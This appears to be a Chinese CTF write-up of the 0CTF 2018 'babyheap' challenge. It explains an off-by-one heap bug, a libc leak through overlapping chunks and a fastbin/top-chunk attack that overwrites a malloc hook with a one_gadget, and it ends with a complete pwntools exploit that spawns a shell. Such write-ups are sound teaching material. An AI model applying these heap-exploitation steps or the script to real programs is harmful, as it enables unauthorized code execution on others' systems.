上周
0CTF
临危受命,就做出一道题, 感觉思路很新颖, 分享一下.
1. checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
结论: 保护全开, 必是堆溢出之类的.
2. 结构体
struct node{
int inUse;
int size;
char* ptr;
}
3. 菜单
===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:
4. Allocate(可以申请最大0x58字节的内存)
Command: 1
Size: 20
Chunk 0 Allocateed
5. Update(Off_By_One漏洞)
Command: 2
Index: 0
Size: 20
Content: AAAAAAAAAAAAAAAAAAAA
Chunk 0 Updated
6. Delete
Command: 3
Index: 0
Chunk 0 Deleted
7. View
Command: 4
Index: 0
Chunk[0]: AAAAAAAAAAAAAAAAAAAA
8. Exit
Command: 5
Off_By_One:Off_By_One
是指我们能够多写入一个字节, 这种漏洞往往和对边界的长度验证不严格和字符串操作有关.
小栗子:
#include
#include
#include
int main(void){
char* buf1 = malloc(0x28);
char* buf2 = malloc(0x40);
read(0, buf1, 0x29); //0x29 - 0x28 = 1, 多写入一个字节
printf("buf1 is %s\n", buf1);
return 0;
}
编译
gcc -g example.c -o example
运行
./off_by_one
(输入前)
0x602000: 0x0000000000000000 0x0000000000000031
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000051 -------
0x602040: 0x0000000000000000 0x0000000000000000 |
0x602050: 0x0000000000000000 0x0000000000000000 |
0x602060: 0x0000000000000000 0x0000000000000000 |
0x602070: 0x0000000000000000 0x0000000000000000 |
|
(输入后) |
0x602000: 0x0000000000000000 0x0000000000000031 |
0x602010: 0x4141414141414141 0x4141414141414141 |
0x602020: 0x4141414141414141 0x4141414141414141 |
0x602030: 0x4141414141414141 0x0000000000000041 <-------
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
结论: 可以修改chunk size
大小.
漏洞点: Update
功能可以允许我们多输入一个字节.
我们需要解决如下问题
- 如何
libc
地址 ?- 如何获取
shell
?
第一个问题
知识点: 当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址.
答: Overlap
alloc(0x48) #0
alloc(0x48) #1
alloc(0x48) #2
update(0, 0x49, "A"*0x48 + "\xa1") #修改1的chunk size为0xa1
free(1) #实际上是将1和2一起释放了
alloc(0x48) # 申请1
view(2) # 2我们是可以查看的
相关内存
chunk 0x55719bd46000 0x50 (inuse) ------------
chunk 0x55719bd46050 0x50 -----| (inuse) |alloc(0x48)|
chunk 0x55719bd460a0 0x50 -----| (inuse) |alloc(0x48)|
chunk 0x55719bd460f0 0x50 | (inuse) |alloc(0x48)|
| -------------
chunk 0x55719bd46000 0x50 | (inuse) -------
chunk 0x55719bd46050 0xa0 <----(1和2)(inuse)|update|
chunk 0x55719bd460f0 0x50 | (inuse) ----------------
| |free(1)|
chunk 0x55719bd46000 0x50 | (inuse) ∨-------∨
chunk 0x55719bd46050 0xa0(1和2)----> (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC) |
chunk 0x55719bd460f0 0x50 | (inuse)
|
chunk 0x55719bd46000 0x50 | (inuse) ------------------------------------------
chunk 0x55719bd46050 0x50 | (inuse) |alloc(0x48), 輸入2可以將0x7f46a1c7cb78打印出來
chunk 0x55719bd460a0 0x50(2) -----> (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)
chunk 0x55719bd460f0 0x50 (inuse)
整体思路: 分配三个,0,1,2
.通过Off_By_One
可以将1
的chunk size
改为0xa1
, free(1)
等于将1和2
一起释放, 但2
标识着未释放.alloc(0x48)
将0x7f46a1c7cb78
移到2
中, 打印即可泄露地址.
第二个问题
fastbin attack, 在ralloc_hook写入execve(“/bin/sh”)来获取shell
通过上一个问题的回答, 我们有可能申请两个,这两个的content
指向同一块内容.
alloc(0x48) # 4 = 2, content申请的地址是0x55719bd460a0,
delete(1)
delete(2)
view(4)
结果:
-------------------------------------------------------
0x55719bd460a0: 0x0000000000000000 0x0000000000000051 |
0x55719bd460b0: 0x000055719bd46050 0x0000000000000000 |
0x55719bd460c0: 0x0000000000000000 0x0000000000000000 |
结论: 由于fastbin
是单链表链接的, 所以2的fd(下一个)
指向了1, 我们可以任意修改这个地址, 来达到任意写的目的.
由于我们题目限制最大申请内存为88, 不能直接修改calloc__hook
, 于是我们借助修改top chunk
, 将top chunk 修改至calloc_hook
附近, 然后再将execve("/bin/sh")
地址填入calloc_hook.
修改:
update(4, 9, p64(addr)) --> 修改地址, addr 是据top chunk的不远处
alloc(0x48) --> 1
alloc(0x40) --> 2,返回目标地址
update(2, 0x2c, "\x00"*35 + p64(newtop)) --> 修改top chunk 为ralloc_hook 附近
alloc(56)
update(5, 28, "W"*11 + p64(one)*2) --> 向ralloc_hook写入
alloc(0x28) --> 由于ralloc_hook处有指针, 执行指针指向的函数
完整EXP
from pwn import *
context.log_level = 'debug'
HOST='202.120.7.204'
PORT=127
Local = 1
if Local:
p = process("./babyheap")
libc_offset = 0x3c4b78 #本机, ubuntu 16.04
one_offset = 0x4526a
else:
p=remote(HOST,PORT)
libc_offset = 0x68+0x399af0 #远程
one_offset = 0x3f35a
libc = ELF('./libc.so.6')
#gdb.attach(p)
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(index, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)
def delete(index):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
def view(index):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))
def leak():
alloc(0x48) #0
alloc(0x48) #1
alloc(0x48) #2
alloc(0x48) #3
update(0, 0x49, "A"*0x48 + "\xa1")
delete(1) #1
alloc(0x48) #1
view(2)
p.recvuntil("Chunk[2]: ")
leak = u64(p.recv(8))
libc_base = leak - libc_offset
main_arena = leak - 0x58
log.info("libc_base: %s" % hex(libc_base))
log.info("main_arena: %s" % hex(main_arena))
alloc(0x48) #4 = 2
delete(1)
delete(2)
view(4)
p.recvuntil("Chunk[4]: ")
heap = u64(p.recv(8)) - 0x50
log.info("heap: %s" % hex(heap))
return main_arena, libc_base
def exp(main_arena, libc_base):
alloc(0x58) # 1
delete(1) # 1
addr = main_arena + 37
newtop = main_arena - 0x33
one = libc_base + one_offset
log.info("addr: %s" % hex(addr))
log.info("newtop: %s " % hex(newtop))
log.info("one: %s" % hex(one))
update(4, 9, p64(addr))
alloc(0x48)
alloc(0x40)
update(2, 0x2c, "\x00"*35 + p64(newtop))
alloc(56)
update(5, 28, "w"*11 + p64(one)*2)
alloc(22)
if __name__=='__main__':
main_arena, libc_base = leak()
exp(main_arena, libc_base)
p.interactive()
可能在尝试的过程中, EXP会出现失败的情况, 我建议多试几次
0CTF Babyheap 2018